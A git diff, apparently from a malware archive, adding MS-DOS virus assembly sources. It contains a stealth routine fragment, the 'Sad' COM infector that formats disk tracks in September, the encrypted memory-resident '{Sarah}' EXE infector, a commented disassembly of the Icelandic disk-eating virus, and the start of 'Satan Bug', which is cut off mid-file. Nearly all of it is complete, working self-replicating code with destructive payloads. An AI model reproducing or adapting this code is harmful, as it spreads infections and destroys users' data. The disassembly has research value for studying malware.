huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 07H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.sad.asm b/MSDOS/Virus.MSDOS.Unknown.sad.asm new file mode 100644 index 00000000..16f4c7da --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sad.asm @@ -0,0 +1,225 @@ +; +; ---- Data Segment Values ---- +; ds:[0f6h] = read buffer location +; ds:[0f8h] = write buffer location +; ds:[0fah] = store length of virus at this location +; ds:[0fch] = store length of file to be infected at this location +; ds:[0feh] = filename of file to infect +; + +.model tiny +.code +org 100h ; origin for .com files +start: + + nop ; these two nop instructs will be used by 'Nasty' + nop ; to determine if a file is already infected + + ;****** + ;get date + ;****** + mov ah,2ah ; get the date + int 21h ; do it + cmp dh,09h ; is it September? + jnz do_not_activate ; if NO jmp do_not_activate + ;**** + ;the nasty bit + ;**** + ;* + ;* 1. Print message + ;* + lea dx,mess ; print message + mov ah,09 ; 'Nasty in September' + int 21h ; do it + ;**** + ;* 2. Destroy disk + ;**** + mov ah,19h ; get current drive (returned in al) + int 21h ; do it + mov dl,al ; dl = drive # to be formated + mov ah,05 ; disk format function + mov cl,01 ; first sector + mov ch,00 ; first track + mov dh,00 ; head zero + mov al,10h ; 10h (16) sectors - 2 tracks + int 13h ; do it (overwrite first 16 tracks on currently + ; selected disc) + + +do_not_activate: + mov cx,80h ; save parameters; set counter to 80h bytes + mov si,0080h ; offset in the current data segment of the byte + ; to be copied + mov di,0ff7fh ; offset to which byte is to be moved + rep movsb ; move bytes until cx=0 (decrement cx by 1 each time + ; loop is performed is done automatically) + ; (increment by 1 of si & di is done automatically) + + lea ax,begp ; load exit from program offset address into ax + mov cx,ax ; " " " " " " " cx + sub ax,100h ; subtract start of .com file address (100h) from ax + ; ax now contains the length of the virus + + mov ds:[0fah],ax ; put length of the virus into the data segment at + ; offset 0fah + add cx,fso ; add fso (5h) to cx (offset address of exit) + ; so, cx=cx+5 + mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at + ; offset 0f8h. ** Start of the write buffer. + ADD CX,AX ; add virus length (ax) to cx ????? + mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h. + ; ** Start of the read buffer + mov cx,ax ; mov length of virus into cx + lea si,start ; load address of 'start' (start of virus) into + ; souce index + mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into + ; destination index + + +rb: ; cx = counter (length of virus) + ; si = offset of byte to be read + ; di = offset of where to write byte to + ; (auto decrement of cx & increment of si & di) + rep movsb ; copy the virus into memory + + stc ; set the carry flag + + lea dx,file_type_to_infect ; set infector for .com files only + mov ah,4eh ; find first file with specified params + mov cx,20h ; files with archive bit set + int 21h ; do it + ; if file found, CF is cleared, else + ; CF is set + + or ax,ax ; works the below instructions (jz & jmp) + jz file_found ; if file found jmp file_found + jmp done ; if no file found, jmp done (exit virus) + +file_found: + mov ah,2fh ; get dta (returned in es:bx) + int 21h ; do it + + mov ax,es:[bx+1ah] ; mov size of file to be infected into ax + mov ds:[0fch],ax ; mov filesize into ds:[0fch] + add bx,1eh ; bx now points to asciz filename + mov ds:[0feh],bx ; mov filename into ds:[0feh] + clc ; clear carry flag + + mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename) + mov dx,bx ; mov filename into dx + int 21h ; do it (ax contains file handle) + + mov bx,ax ; mov file handle into bx + + mov ax,5700h ; get time & date attribs from file to infect + int 21h ; do it (file handle in bx) + push cx ; save time to the stack + push dx ; save date to the stack + + mov ah,3fh ; read from file to be infected + mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to + ; be infected + mov dx,ds:[0f6h] ; buffer (where to read bytes to) + int 21h ; do it + + mov bx,dx ; mov buffer location to bx + mov ax,[bx] ; mov contents of bx (first two bytes - as bx is + ; 16-bits) into ax. + + ; Now check to see if file is infected... if the + ; file is infected, it's first two bytes will be + ; 9090h (nop nop) + + sub ax,9090h ; If file is already infected, zero flag will be set + ; thus jump to fin(ish) + jz fin + + + mov ax,ds:[0fch] ; mov filesize of file to be infected into ax + mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx + + mov [bx-2],ax ; correct old len + + mov ah,3ch ; Create file with handle + mov cx,00h ; cx=attribs -- set no attributes + mov dx,ds:[0feh] ; point to name + clc ; clear carry flag + int 21h ; create file + ; Note: If filename already exists, (which it does) + ; truncate the filelength to zero - this is ok as + ; we have already copied the file to be infected + ; into memory. + + mov bx,ax ; mov file handle into bx + mov ah,40h ; write file with handle (write to the file to be + ; infected) - length currently zero + ; cx=number of bytes to write + mov cx,ds:[0fch] ; length of file to be infected + add cx,ds:[0fah] ; length of virus + mov DX,ds:[0f8h] ; location of write buffer (this contains the virus + ; + the file to be infected) + int 21h ; write file + ; new file = virus + file to be infected + + mov ax,5701h ; restore original time & date values + pop dx ; get old date from the stack + pop cx ; get old time from the stack + int 21h ; do it + ; Note: Infected file will now carry the time & date + ; it had before the infection. + + mov ah,3eh ; close file (bx=file handle) + int 21h ; do it + ; Note: date & time stamps automatically updated if + ; file written to. + +fin: + stc ; set carry flags + mov ah,4fh ; find next file (.com) + int 21h ; do it + or ax,ax ; decides zero flag outcome + jnz done ; if no more .com files, jmp done + JMP file_found ; else begin re-infection process for new file. + +done: + mov cx,80h ; set counter (cx) = 80h + mov si,0ff7fh ; source offset address (copy from here) + mov di,0080h ; destination offset address (copy to here) + rep movsb ; copy bytes! (cx is auto decremented by 1 + ; si & di are auto incremented by 1) + ; Note: this is a 'restore parameters' feature + ; this does the reverse of what what done earlier + ; in the program (do_not_activate:) + + mov ax,0a4f3h ; + mov ds:[0fff9h],ax ; + mov al,0eah ; + mov ds:[0fffbh],al ; reset data segment locations ??? (to previous + mov ax,100h ; values before virus infection) + mov ds:[0fffch],ax ; + lea si,begp ; load exit from program offset address into si + lea di,start ; load offset address of start of virus into di + mov ax,cs + mov ds:[0fffeh],ax ; re-align cs = ds ??? + mov kk,ax + mov cx,fso + + db 0eah ; define byte + dw 0fff9h ; define word + kk dw 0000h ; define kk = word + + mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display + + file_type_to_infect db '*?.com',0 ; infect only .com files. + + fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes + ; in size (a word) + ; ----- alma mater + + +begp: + mov ax,4c00h ; normal dos termination (set al to 00) + int 21h ; do it + +end start +  \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sarah.asm b/MSDOS/Virus.MSDOS.Unknown.sarah.asm new file mode 100644 index 00000000..3e086908 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sarah.asm @@ -0,0 +1,283 @@ +; sarah.asm : {Sarah} by Gehenna +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file sarah.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 0 ; For easy calculation of offsets +id = 'EF' ; ID word for EXE infections + +startvirus: +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + push ds + push es + + mov ax,'DA' ; Installation check + int 21h + cmp ax,'PS' ; Already installed? + jz done_install + + mov ax, es ; Get PSP + dec ax + mov ds, ax ; Get MCB + + sub word ptr ds:[3],(endheap-startvirus+15)/16+1 + sub word ptr ds:[12h],(endheap-startvirus+15)/16+1 + mov ax,ds:[12h] + mov ds, ax + inc ax + mov es, ax + mov byte ptr ds:[0],'Z' ; Mark end of chain + mov word ptr ds:[1],8 ; Mark owner = DOS + mov word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size + + push cs + pop ds + xor di,di ; Destination + mov cx,(heap-startvirus)/2+1 ; Bytes to zopy + mov si,bp ; lea si,[bp+offset startvirus] + rep movsw + + mov di,offset encrypt + mov si,bp ; lea si,[bp+offset startvirus] + mov cx,startencrypt-decrypt + rep movsb + mov al,0c3h ; retn + stosb + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory +done_install: + pop es + pop ds + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+oldCSIP+2],ax + add ax,word ptr cs:[bp+oldSSSP+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+oldSSSP] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +oldCSIP dd 0fff00000h ; Needed for carrier file +oldSSSP dd ? ; Original SS:SP + +virus db '{Sarah}',0 +author db '',0 + +int21: ; New interrupt handler + cmp ax,'DA' ; Installation check? + jnz notinstall + mov ax,'PS' + iret +notinstall: + pushf + push ax + push bx + push cx + push dx + push si + push di ; don't need to save bp + push ds + push es + cmp ax,4b00h ; Infect on execute + jz infectDSDX +exithandler: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + db 0eah ; JMP SSSS:OOOO +oldint21 dd ? ; Go to orig handler + +infectDSDX: + mov ax,4300h + int 21h + push ds + push dx + push cx ; Save attributes + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov ax,3d02h ; Open read/write + int 21h + xchg ax,bx + + mov ax,5700h ; Get creation date/time + int 21h + push cx ; Save date and + push dx ; time + + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + mov ah,3fh ; Read file to buffer + mov dx,offset buffer ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ax,4202h ; Go to end of file + xor cx,cx + cwd + int 21h + + mov word ptr filesize,ax + mov word ptr filesize+2,dx +checkEXE: + cmp word ptr buffer+10h,id ; is it already infected? + jnz infect_exe +done_file: + mov ax,5701h ; Restore creation date/time + pop dx ; Restore date and + pop cx ; time + int 21h + + mov ah,3eh ; Close file + int 21h + + pop cx + pop dx + pop ds ; Restore filename + call attributes ; attributes + + jmp exithandler +infect_exe: + mov cx, 1ah + push cx + push bx ; Save file handle + les ax,dword ptr buffer+14h ; Save old entry point + mov word ptr oldCSIP, ax + mov word ptr oldCSIP+2, es + + les ax,dword ptr buffer+0Eh ; Save old stack + mov word ptr oldSSSP,es + mov word ptr oldSSSP+2,ax + + mov ax,word ptr buffer+8 ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax,dword ptr filesize ; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr buffer+14h, dx ; New entry point + mov word ptr buffer+16h, ax + + mov word ptr buffer+0Eh, ax ; and stack + mov word ptr buffer+10h, id + + pop dx ; get file length + pop ax + pop bx ; Restore file handle + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr buffer+4, dx ; new file size + mov word ptr buffer+2, ax + + push cs ; restore ES + pop es + + mov ax,word ptr buffer+14h ; needed later +finishinfection: + add ax,offset startencrypt-offset decrypt + mov word ptr encrypt+(patch_startencrypt-startvirus)+1,ax + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value + xor si,si ; copy virus to buffer + mov di,offset zopystuff + mov cx,heap-startvirus + rep movsb + + mov si,offset encrypt ; copy encryption function + mov di,offset zopystuff + mov cx,startencrypt-decrypt + rep movsb + + mov word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt) + + push bx + call encrypt + pop bx + + mov ah,40h ; Concatenate virus + mov dx,offset zopystuff + mov cx,heap-startvirus ; # bytes to write + int 21h + + mov ax,4200h ; Move file pointer + xor cx,cx ; to beginning of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Write to file + mov dx,offset buffer ; Write from buffer + pop cx ; cx bytes + int 21h + + jmp done_file + +attributes: + mov ax,4301h ; Set attributes to cx + int 21h + ret + +heap: ; Variables not in code +filesize dd ? +encrypt: db startencrypt-decrypt+1 dup (?) +zopystuff db heap-startvirus dup (?) ; Encryption buffer +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end startvirus diff --git a/MSDOS/Virus.MSDOS.Unknown.saratoga.asm b/MSDOS/Virus.MSDOS.Unknown.saratoga.asm new file mode 100644 index 00000000..b6ba3247 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.saratoga.asm @@ -0,0 +1,549 @@ + +; THE ICELANDIC "DISK-CRUNCHING" VIRUS +; +; Another possible name for this virus might be "One-in-ten", since +; it tries to infect every tenth program run. The Icelandic name for +; this virus ("Diskaetuvirus") translates to "Disk-eating virus" +; +; It was first located at one site in mid-June '89. It has since then +; been found at a few other places, but is quite rare yet. So far it +; does not seem to have spread to any other country. +; +; Disassembly done in June/July '89. +; +; The author of this program is unknown, but it appears to be of +; Icelandic origin. +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. The code +; is very clear, and the virus is quite well written. It would be VERY +; easy to modify it to do something really harmful. +; +; A short description of the virus: +; +; It only infects .EXE files. Infected files grow by 656 to 671 +; bytes, and the length of the infected file MOD 16 will always be 0. +; The virus attaches itself to the end of the programs it infects. +; +; When an infected file is run, the virus copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. +; +; The virus does nothing if some other program has hooked INT 13 +; before it is run. This is probably done to avoid detection by +; protection programs, but it also means that many ordinary +; programs like SideKick and disk cache software will disable it. +; Even the PRINT command will disable the virus. This reduces the +; spread of the virus, but also greatly reduces the possibility that +; the virus will be detected. +; +; The virus will hook INT 21H and when function 4B (EXEC) is called +; it sometimes will infect the program being run. It will check every +; tenth program that is run for infection, and if it is not already +; infected, it will be. +; +; The virus will remove the Read-Only attribute before trying to +; infect programs. +; +; Infected files can be easily recognized, since they always end in +; 4418,5F19. +; +; To check for system infection, a byte at 0:37F is used - if it +; contains FF the virus is installed in memory. +; +; This virus is slightly harmful, but does no serious damage. +; On floppy-only, or machines with 10Mbyte hard disks it will do +; no damage at all, but on machines with larger hard disks it will +; select one unused entry in the FAT table, and mark it as bad, when it +; infects a file. Since the virus only modifies the first copy of the +; FAT, a quick fix is simply to copy the second table over the first. +; This is the only "mistake" I have found in this virus. It appears +; to be very well written - What a shame the programmer did not use +; his abilities for something more constructive. +; +; This file was created in the following way: I wrote a small program, +; that did nothing but write "Hello world!" and ran it several times, +; until it became infected. I then diassembled the program, changed +; it into an .ASM file, and worked on it until this file, when +; assembled, produced the same file as the original infected one. +; +; (Or almost the same - the checksum in the header is different). +; +VIRSIZ EQU 128 + + ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING +; +; This is the original program. +; +_TEXT1 SEGMENT PARA PUBLIC 'CODE' +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "This is an infected program!",0dh,0ah,"$" + _TEXT1 ENDS + +_TEXT SEGMENT PARA PUBLIC 'CODE' + +; +; The virus is basically divided in three parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already infected, and if not +; it will install the virus. +; +; 2. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +; 3. The damage routine. It will select one unused cluster and mark it +; as bad. +; +VIRUS PROC FAR +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +LABIA: SUB SP,4 + PUSH BP + MOV BP,SP + PUSH AX + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + XOR AX,AX + MOV ES,AX + CMP ES:[37FH],BYTE PTR 0FFH + JNE L2 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some +; program is monitoring int 13, and quit. +; +; +; Set the installation flag, so infected programs run later will +; recognize the infection. +; +L2: MOV ES:[37FH],BYTE PTR 0FFH +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; + MOV AH,52H + INT 21H + MOV AX,ES:[BX-2] + MOV ES,AX + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. For some reason 2000 +; bytes are transferred, when 651 would be enough. Maybe the author just +; wanted to leave room for future expansions. +; + MOV ES,BX + XOR SI,SI + XOR DI,DI + PUSH CS + POP DS + MOV CX,2000 + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L3 + PUSH AX + RET +; +; The main program modifies INT 21 next and finally returns to the +; original program. The original INT 21 vector is stored inside the +; program so a JMP [OLD INT21] instruction can be used. +; +L3: XOR AX,AX + MOV ES,AX + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX + JMP EXIT +VIRUS ENDP +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21 PROC FAR + CMP AH,4BH + JE L5 +L4: DB 0EAH +OLD21 DW 0,0 +; +; Only attack every tenth program run. +; +L5: DEC CS:[COUNTER] + JNE L4 + MOV CS:[COUNTER],2 +; +; Save all affected registers. +; + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP L4 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; + MOV AX,4300H ; Get attribute + INT 21H + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + INT 21H + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + INT 21H + JC L7 + MOV BX,AX ; file handle in BX + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + INT 21H + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + INT 21H + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX + + MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + INT 21H + JNC L11 +L9: MOV AH,3EH + INT 21H +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,6F50H + JNE L12 + MOV AX,[SI+2] + CMP AX,546FH + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. Tis is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + INT 21H + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + INT 21H + JC L9 +; +; Next the .EXE file header is modified: +; +; First modify initial IP +; + MOV AX,OFFSET LABIA + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + INT 21H + JC ENDIT + MOV AH,3EH + INT 21H + JNC DAMAGE +; +; Infection is finished - close the file and execute it +; +ENDIT: JMP L9 +NEW21 ENDP +; +; The damage routine. As before noted, it will only do damage on +; systems with a hard disk larger than 10Mbytes (With 16 bit FAT) +; +TEMP DW 0 +; +; Start by getting some information about the current drive, like size +; of the FAT etc. Then compute the total number of sectors, and quit +; unless it is greater than 20740. This is probably done since larger +; disks use 16 bit FAT entries, instead of 12, which makes life easier +; for the programmer. +; +DAMAGE: MOV AH,32H + MOV DL,0 + INT 21H + CMP AL,0FFH + JE L21 + XOR AX,AX + MOV AL,[BX+4] + INC AX + MOV CS:[TEMP],AX + MOV AX,[BX+0DH] + DEC AX + MUL CS:[TEMP] + ADD AX,[BX+0BH] + JNC L15A + INC DX +L15A: CMP DX,0 + JNE L15B + CMP AX,20740 + JBE L21 +; +; Check if DOS version is 4.0 or greater. If so, use a 16 bit value +; for numbers of sectors in the FAT, otherwise use a 8 bit entry. +L15B: PUSH BX + MOV AH,30H + INT 21H + POP BX + CMP AL,4 + JAE L15 + XOR AX,AX + MOV AL,[BX+0FH] + JMP SHORT L16 +L15: MOV AX,[BX+0FH] +L16: ADD AX,[BX+6] + DEC AX + MOV DX,AX + MOV AL,[BX] +; +; Read the last sector in the first copy of the FAT. Search backwards +; for an unused entry. If none is found, read the sector before that +; and so on. If no free entry is found on the entire disk then quit. +; +L20: MOV CX,1 + MOV BX,OFFSET ID+4 + PUSH CS + POP DS + PUSH AX + PUSH DX + INT 25H + POPF + JC L21 + POP DX + POP AX + MOV SI,510 +L17: MOV BX,DS:[ID+4+SI] + CMP BX,0000 + JE L19 + CMP SI,0000 + JE L18 + DEC SI + DEC SI + JMP L17 +L18: DEC DX + CMP DX,8 + JE L21 + JMP L20 +; +; A free entry has been found. Make it look like a bad cluster, by +; changing the 0000 value to FFF7. +; +L19: MOV DS:[ID+4+SI],0FFF7H + MOV CX,1 + MOV BX,OFFSET ID+4 + INT 26H + POPF +L21: JMP L7 + +COUNTER DB 2 +LEN_LO DW ? +LEN_HI DW ? +ID DW 6F50H,546FH ; The signature of the virus. +; +; A buffer, used for data from the file. +; +_TEXT ENDS + + END LABIA + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sat-bug.asm b/MSDOS/Virus.MSDOS.Unknown.sat-bug.asm new file mode 100644 index 00000000..eadef50f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sat-bug.asm @@ -0,0 +1,1663 @@ +CSEG SEGMENT + ASSUME CS:CSEG, ES:CSEG, SS:CSEG + ORG 100H +YES EQU 1 +NO EQU 0 +COM EQU 0 +EXE EQU 1 +Signal EQU 0F9H +Reply EQU 0AC0AH + +; + + +Start: CALL $+3 + POP AX + MOV CL,4H + SHR AX,CL + SUB AX,0010H + MOV CX,CS + ADD AX,CX + PUSH AX + MOV AX,OFFSET Begin + PUSH AX + RETF +JJumpFile:JMP JumpFile +Begin: PUSH DS +BeginC: POP WORD PTR CS:[FileDS] ;Save DS + PUSH CS + POP DS + CMP BYTE PTR DS:[File],COM ;Are we in a .COM file? + JNE NoBytes + MOV AX,DS:[Bytes] ;Restore first 3 Bytes of program + MOV WORD PTR ES:[100H],AX + MOV AX,DS:[Bytes+2H] + MOV WORD PTR ES:[102H],AX +NoBytes:PUSH CS + POP ES + MOV AH,Signal + INT 21H ;Check if we're already in memory + CMP AX,Reply + JE JJumpFile + CMP BYTE PTR DS:[CommandCom],YES ;Are we in Command.COM + JE NoEnv + MOV ES,DS:[FileDS] + MOV ES,ES:[002CH] + XOR DI,DI + MOV SI,OFFSET Comspec + MOV CX,OFFSET Comspec@-OFFSET Comspec + CLD + REPE CMPSB ;Look for COMSPEC= + JNE JJumpFile + XOR AX,AX + MOV CX,0080 + CLD + REPNE SCASB + JNE JJumpFile + MOV CX,000CH + SUB DI,CX + CLD + REP CMPSB ;COMSPEC must equil COMMAND.COM + JNE JJumpFile +NoEnv: PUSH CS + POP ES + MOV AX,DS:[FileDS] ;Segment of our current MCB + DEC AX +MCBLoop:MOV DS,AX + CMP BYTE PTR DS:[0H],'Z' ;Last MCB? + JNE JJumpFile +MCBEnd: MOV AX,(OFFSET Done-OFFSET Start)*2 ;Reserve enough for encryption + ADD AX,3072 + MOV CL,4H + SHR AX,CL + INC AX + SUB WORD PTR DS:[0003H],AX ;Subtract it from MCB.size + XOR BX,BX + MOV ES,BX + SHR AX,CL + SHR CL,1H + SHR AX,CL + INC AX + SUB WORD PTR ES:[413H],AX ;Subtract it from Interrupt 12H + MOV AX,DS:[0003H] + MOV BX,DS + INC BX + ADD AX,BX + SUB AX,0010H + MOV DI,100H + MOV SI,DI + MOV ES,AX + PUSH CS + POP DS + MOV CX,OFFSET Vend-OFFSET Start + CLD + REP MOVSB ;Copy us to high memory + PUSH ES + MOV AX,OFFSET HighCode + PUSH AX + RETF ;Jump to high memory +JumpFile:CMP BYTE PTR CS:[File],COM + MOV ES,CS:[FileDS] ;Restore Segments + MOV DS,CS:[FileDS] + JNE JumpEXE + MOV AX,100H + PUSH DS + PUSH AX + XOR AX,AX + XOR BX,BX + RETF +JumpEXE:MOV AX,DS + ADD AX,0010H + PUSH AX + ADD AX,CS:[EXECS] + MOV WORD PTR CS:[JumpDat+3H],AX + MOV AX,CS:[EXEIP] + MOV WORD PTR CS:[JumpDat+1H],AX + POP AX + ADD AX,CS:[EXESS] + CLI + MOV SS,AX + MOV SP,CS:[EXESP] + XOR AX,AX + XOR BX,BX + STI + JMP SHORT JumpDat +JumpDat:DB 0EAH,00H,00H,00H,00H + +HighCode:PUSH CS + POP DS + MOV BYTE PTR DS:[Busy_Flag],No ;initialize Flag + MOV AX,3521H ;Hook interrupt 21 + INT 21H + MOV WORD PTR DS:[Vector21],BX ;Save Vector + MOV WORD PTR DS:[Vector21+2H],ES + PUSH CS + POP ES + MOV DI,OFFSET JumpHandle + MOV DX,DI + MOV AL,0EAH ;Make jump to our handle + CLD + STOSB + MOV AX,OFFSET Handle21 + CLD + STOSW + MOV AX,CS + CLD + STOSW + MOV AX,2521H ;Point Interrupt 21 to Jump + INT 21H + JMP JumpFile ;Return to program + + +IDText: DB 'Satan Bug virus - Little Loc',0H + + +File DB ? ;Current File: .COM = 0, .EXE = 1 +CommandCom DB ? 